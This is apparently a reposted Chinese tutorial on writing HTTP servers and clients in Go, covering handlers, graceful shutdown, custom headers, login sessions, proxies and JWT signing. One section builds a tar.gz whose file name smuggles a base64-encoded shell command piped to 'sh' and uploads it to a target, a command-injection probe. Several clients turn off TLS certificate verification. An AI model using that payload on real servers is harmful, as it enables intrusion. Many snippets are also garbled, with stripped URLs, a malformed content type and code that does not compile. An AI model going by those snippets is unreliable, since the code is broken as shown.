主页 > 互联网  > 

用go实现http服务端和请求端

用go实现http服务端和请求端
一、概述

        本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。

二、代码实现 2.1 构造http服务端

1、http服务处理流程

基于HTTP构建的服务标准模型包括两个端,客户端(Client)和服务端(Server)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。 

使用http.HandleFunc实现http服务,返回hello world package main import ( "fmt" "net/http" ) func HelloHandler(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, "Hello World") } func main () { http.HandleFunc("/", HelloHandler) http.ListenAndServe(":8000", nil) } 使用http.Handle实现http服务 package main import ( "fmt" "net/http" ) type HelloHandlerStruct struct { content string } //必须实现此方法,且名称为ServerHTTP func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, handler.content) } func main() { http.Handle("/", &HelloHandlerStruct{content: "Hello World"}) http.ListenAndServe(":8000", nil) } 优雅的关闭http服务 package main import ( "context" "fmt" "io/ioutil" "log" "net/http" "os" "os/signal" "syscall" "time" ) type EchoHandler struct{} func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) { // 设置响应头 writer.Header().Add("X-Data", "foo") // 设置相应的cookie http.SetCookie(writer, &http.Cookie{ Name: "x-cookie", Value: "bar", MaxAge: 86400, Secure: true, }) //设置响应状态码为200 writer.WriteHeader(200) // 设置响应体,打印网络请求信息 fmt.Fprintln(writer, "===== Network =====") fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr) fmt.Fprintln(writer) // 设置响应体,打印请求方法 url host 协议信息 fmt.Fprintln(writer, "===== Request Line =====") fmt.Fprintln(writer, "Method: ", request.Method) fmt.Fprintln(writer, "URL: ", request.URL) fmt.Fprintln(writer, "Host: ", request.Host) //fmt.Fprintln(writer, "URI: ", request.RequestURI) fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto, request.ProtoMajor, request.ProtoMinor) fmt.Fprintln(writer) // 设置输出请求的请求头 fmt.Fprintln(writer, "===== Header =====") for k, v := range request.Header { fmt.Fprintf(writer, "%v: %v\n", k, v) } fmt.Fprintln(writer) // 设置输出请求的body body, err := ioutil.ReadAll(request.Body) if err == nil && len(body) > 0 { fmt.Fprintln(writer, "===== Raw Body =====") fmt.Fprintln(writer, string(body)) } } func main() { // 创建系统信号接收器 done := make(chan os.Signal) signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM) // 创建 HTTP 服务器 server := &http.Server{ Addr: ":8000", Handler: EchoHandler{}, } // 启动 HTTP 服务器 go func() { log.Println("Server starting...") if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed { log.Fatalf("ListenAndServe: %v", err) } }() // 监听系统信号并执行关闭操作 <-done log.Println("Server shutting down...") // 创建一个超时上下文,确保关闭操作不会无限期等待 ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() if err := server.Shutdown(ctx); err != nil { log.Fatal("Shutdown server:", err) } log.Println("Server gracefully stopped") } 2.2 构建http客户端 1、基本介绍及使用

net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。

func (c *Client) Get(url string) (r *Response, err error) func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error) func (c *Client) PostForm(url string, data url.Values) (r *Response, err error) func (c *Client) Head(url string) (r *Response, err error) func (c *Client) Do(req *Request) (resp *Response, err error)

基本的代码实现:

package main import ( "bytes" "fmt" "io/ioutil" "net/http" ) func main() { // 目标 URL baseUrl := "http://localhost" // 执行 GET 请求 doGet(baseUrl + "/gettest") // 执行 POST 请求 doPost(baseUrl + "/posttest") // 执行 POST Form 请求 doPostForm(baseUrl + "/postform") } func doGet(url string) { response, err := http.Get(url) if err != nil { fmt.Println("GET request failed:", err) return } defer response.Body.Close() body, err := ioutil.ReadAll(response.Body) if err != nil { fmt.Println("Error reading response:", err) return } fmt.Println("GET Response:") fmt.Println(string(body)) } func doPost(url string) { // 准备 POST 请求的 JSON 数据 jsonPayload := []byte(`{"key": "value"}`) response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload)) if err != nil { fmt.Println("POST request failed:", err) return } defer response.Body.Close() body, err := ioutil.ReadAll(response.Body) if err != nil { fmt.Println("Error reading response:", err) return } fmt.Println("POST Response:") fmt.Println(string(body)) } func doPostForm(url string) { // 准备 POST Form 数据 data := url.Values{} data.Add("name", "Alice") data.Add("age", "30") response, err := http.PostForm(url, data) if err != nil { fmt.Println("POST Form request failed:", err) return } defer response.Body.Close() body, err := ioutil.ReadAll(response.Body) if err != nil { fmt.Println("Error reading response:", err) return } fmt.Println("POST Form Response:") fmt.Println(string(body)) }

2、自定义请求头,以及绕过https验证 package main import ( "fmt" "net/http" "net/url" "strings" ) func main() { // 自定义请求头 headers := map[string]string{ "User-Agent": "Your Custom User-Agent", "Host": "example ", // 自定义 Host } // 目标 URL targetURL := " example " // 替换为你的目标 URL // 创建自定义 Transport tr := &http.Transport{ TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证 TLSHandshakeTimeout: 5, // 超时时间(秒) DisableKeepAlives: true, // 禁用连接复用 IdleConnTimeout: 30, // 空闲连接超时时间(秒) MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数 ResponseHeaderTimeout: 5, // 响应头超时时间(秒) } // 创建自定义客户端 client := &http.Client{ Transport: tr, } // 发送 GET 请求 response, err := client.Get(targetURL) if err != nil { fmt.Println("GET request failed:", err) return } defer response.Body.Close() // 读取响应内容 body := make([]byte, 1024) n, err := response.Body.Read(body) if err != nil { fmt.Println("Error reading response:", err) return } // 输出响应内容 fmt.Println("Response:") fmt.Println(string(body[:n])) } 3、实现登录后会话保持以及自定义请求头 package main import ( "fmt" "net/http" "net/url" "strings" ) func main() { // 自定义请求头 headers := map[string]string{ "User-Agent": "Your Custom User-Agent", "Host": "example ", // 自定义 Host } // 目标 URL baseURL := " example " // 替换为你的目标 URL loginURL := baseURL + "/login" // 登录 URL securedURL := baseURL + "/secured-resource" // 需要 Token 的 URL // 准备登录请求的数据 loginData := url.Values{ "user": {"admin"}, "pass": {"123456"}, } // 创建自定义 Transport tr := &http.Transport{ TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证 TLSHandshakeTimeout: 5, // 超时时间(秒) DisableKeepAlives: true, // 禁用连接复用 IdleConnTimeout: 30, // 空闲连接超时时间(秒) MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数 ResponseHeaderTimeout: 5, // 响应头超时时间(秒) } // 创建自定义客户端 client := &http.Client{ Transport: tr, } // 发送登录请求 loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode())) if err != nil { fmt.Println("Error creating login request:", err) return } // 设置登录请求的头部和内容类型 loginRequest.Header.Set("Content-Type", "application/x- -form-urlencoded") for key, value := range headers { loginRequest.Header.Set(key, value) } loginResponse, err := client.Do(loginRequest) if err != nil { fmt.Println("Login request failed:", err) return } defer loginResponse.Body.Close() // 获取登录后的 Token var token string for _, cookie := range loginResponse.Cookies() { if cookie.Name == "token" { token = cookie.Value break } } if token == "" { fmt.Println("Login failed. No token received.") return } fmt.Println("Login successful. Token:", token) // 在后续请求中添加 Token 到请求头 securedRequest, err := http.NewRequest("GET", securedURL, nil) if err != nil { fmt.Println("Error creating secured request:", err) return } securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头 for key, value := range headers { securedRequest.Header.Set(key, value) } securedResponse, err := client.Do(securedRequest) if err != nil { fmt.Println("Secured request failed:", err) return } defer securedResponse.Body.Close() // 读取并输出响应内容 responseBody, err := ioutil.ReadAll(securedResponse.Body) if err != nil { fmt.Println("Error reading response body:", err) return } fmt.Println("Secured resource response:") fmt.Println(string(responseBody)) } 4、构造一个带特殊字符的压缩包,并且通过接口上传 package main import ( "archive/tar" "bytes" "compress/gzip" "crypto/tls" "fmt" "io" "io/ioutil" "mime/multipart" "net/http" "os" ) func main() { // 压缩文件内容 tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`") // 发送 HTTP POST 请求 url := " example /upload" // 替换为你的目标 URL uploadTarGz(url, tarContent) } func generateTarGzContent(filename string) []byte { var buf bytes.Buffer gw := gzip.NewWriter(&buf) tw := tar.NewWriter(gw) // 添加文件到 tar 压缩包 fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`") header := &tar.Header{ Name: filename, Size: int64(len(fileContent)), } if err := tw.WriteHeader(header); err != nil { fmt.Println("写入 tar 头部失败:", err) os.Exit(1) } if _, err := tw.Write(fileContent); err != nil { fmt.Println("写入文件内容失败:", err) os.Exit(1) } // 关闭 tar 和 gzip 缓冲区 if err := tw.Close(); err != nil { fmt.Println("关闭 tar 失败:", err) os.Exit(1) } if err := gw.Close(); err != nil { fmt.Println("关闭 gzip 失败:", err) os.Exit(1) } return buf.Bytes() } func uploadTarGz(url string, tarContent []byte) { // 创建一个 Buffer,用于构建 multipart/form-data 请求体 var requestBody bytes.Buffer writer := multipart.NewWriter(&requestBody) // 写入 tar.gz 文件 part, err := writer.CreateFormFile("file", "test.tar.gz") if err != nil { fmt.Println("创建表单文件失败:", err) os.Exit(1) } if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil { fmt.Println("写入文件内容失败:", err) os.Exit(1) } // 关闭 multipart writer writer.Close() // 创建 HTTP 请求 req, err := http.NewRequest("POST", url, &requestBody) if err != nil { fmt.Println("创建请求失败:", err) os.Exit(1) } req.Header.Set("Content-Type", writer.FormDataContentType()) // 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证 tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } // 使用自定义 Transport 发起请求 client := &http.Client{Transport: tr} response, err := client.Do(req) if err != nil { fmt.Println("请求失败:", err) os.Exit(1) } defer response.Body.Close() // 读取响应内容 responseBody, err := ioutil.ReadAll(response.Body) if err != nil { fmt.Println("读取响应内容失败:", err) os.Exit(1) } fmt.Println("响应内容:") fmt.Println(string(responseBody)) } 5、设置http代理 package main import ( "fmt" "net/http" "net/url" "os" ) func main() { // 创建 HTTP 客户端,并设置代理 proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址 if err != nil { fmt.Println("解析代理地址失败:", err) os.Exit(1) } client := &http.Client{ Transport: &http.Transport{ Proxy: http.ProxyURL(proxyURL), }, } // 创建 HTTP 请求 url := " example " // 替换为您要请求的目标 URL request, err := http.NewRequest("GET", url, nil) if err != nil { fmt.Println("创建请求失败:", err) os.Exit(1) } // 发送 HTTP 请求 response, err := client.Do(request) if err != nil { fmt.Println("请求失败:", err) os.Exit(1) } defer response.Body.Close() // 读取响应内容 responseBody := make([]byte, 0) buffer := make([]byte, 1024) for { n, err := response.Body.Read(buffer) if n > 0 { responseBody = append(responseBody, buffer[:n]...) } if err != nil { break } } fmt.Println("响应内容:") fmt.Println(string(responseBody)) } 6、综合实践  // 生成jwt token func CreateJWT(claim jwt.Claims) (string, error) { //读取 RSA私钥文件 privateKeyBytes, err := ioutil.ReadFile(privateKeyPath) if err != nil { return "", err } //解析RSA私钥 privateKey, err := jwt.ParseRSAPrivateKeyFromPEM(privateKeyBytes) if err != nil { return "", err } //创建jwt token := jwt.NewWithClaims(jwt.SigningMethodRS256, claim) //使用私钥进行签名 tokenString, err := token.SignedString(privateKey) return tokenString, nil } // 验证token有效性,主要为想做成直接用解析提供的token并从中获取想要的参数,避免传入过多参数,暂时未用上 func ParseToken(tokenStr string) (interface{}, error) { //读取RSA公钥文件 publicKeyBytes, err := ioutil.ReadFile(publicKeyPath) if err != nil { return "", nil } //解析RSA 公钥 publicKey, err := jwt.ParseRSAPublicKeyFromPEM(publicKeyBytes) if err != nil { return "", err } //解析token token, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) { if token.Method != jwt.SigningMethodRS256 { return nil, fmt.Errorf("加密方法有误,非rsa256,而是:%v", token.Header["alg"]) } return publicKey, nil }) //检查解析是否成功 if err != nil { return nil, err } //验证token是否有效 if !token.Valid { return nil, fmt.Errorf("无效token") } else if claims, ok := token.Claims.(jwt.MapClaims); ok { //通过key获取具体的Claims值 fmt.Println("touken有效,正在提取其中的Claims。。。。") return claims, nil } else { return nil, fmt.Errorf("token有效,但是无法提取Claims") } } func GetCookie(token, url string) (string, error) { //自定义请求头 headers := map[string]string{ "token": token, //利用生成的token "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36", "Accept": " application/json, text/plain, */*", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "Accept-Language": "zh-CN,zh;q=0.9", } //fmt.Println("\nurl 为", baseurl) //创建代理 /* proxyURL, err := url.Parse("http://127.0.0.1:8080") //设置代理地址 if err != nil { fmt.Println("解析代理地址失败", err) os.Exit(1) } */ // 创建自定义 Transport tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证 //TLSHandshakeTimeout: 10, // 超时时间(秒) DisableKeepAlives: true, // 禁用连接复用 IdleConnTimeout: 30, // 空闲连接超时时间(秒) MaxIdleConnsPerHost: 20, // 每个主机的最大空闲连接数 //ResponseHeaderTimeout: 10, // 响应头超时时间(秒) //Proxy: http.ProxyURL(proxyURL), //设置代理服务器 } //创建自定义客户端 client := &http.Client{ Transport: tr, Timeout: time.Second * 10, //设置请求的超时时间 } //创建JSON请求体 requestBody := map[string]interface{}{ "username": "123456", "password": "1", } //将请求体编码为 JSON格式 jsonData, err := json.Marshal(requestBody) if err != nil { fmt.Println("JSON 编码错误", err) return "", err } //创建post请求 request, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData)) if err != nil { fmt.Println("创建请求错误", err) return "", err } //设置请求头 for key, value := range headers { request.Header.Set(key, value) } //发送POST请求 response, err := client.Do(request) if err != nil { fmt.Println("\n请求错误:", err) return "", err } defer response.Body.Close() /* // 读取响应内容 var responseStr string buf := new(bytes.Buffer) _, err = buf.ReadFrom(response.Body) if err != nil { return "", err } responseStr = buf.String() // 检查响应状态码 if response.StatusCode != http.StatusOK { return "", fmt.Errorf("响应状态码为 %d", response.StatusCode) } return responseStr, nil */ //处理响应:仅针对返回body为json格式数据 var responseBody map[string]interface{} decoder := json.NewDecoder(response.Body) if err := decoder.Decode(&responseBody); err != nil { fmt.Println("响应解析错误", err) return "", err } //输出响应 fmt.Println("响应状态码:", response.Status) fmt.Println("响应数据ret:", responseBody["ret"]) var retflag float64 retflag = 1 if responseBody["ret"].(float64) == retflag { setCookieHeaders := response.Header["Set-Cookie"] return setCookieHeaders[0], nil } else { return "", fmt.Errorf("错误信息:%s", responseBody["error"]) }

标签:

用go实现http服务端和请求端由讯客互联互联网栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“用go实现http服务端和请求端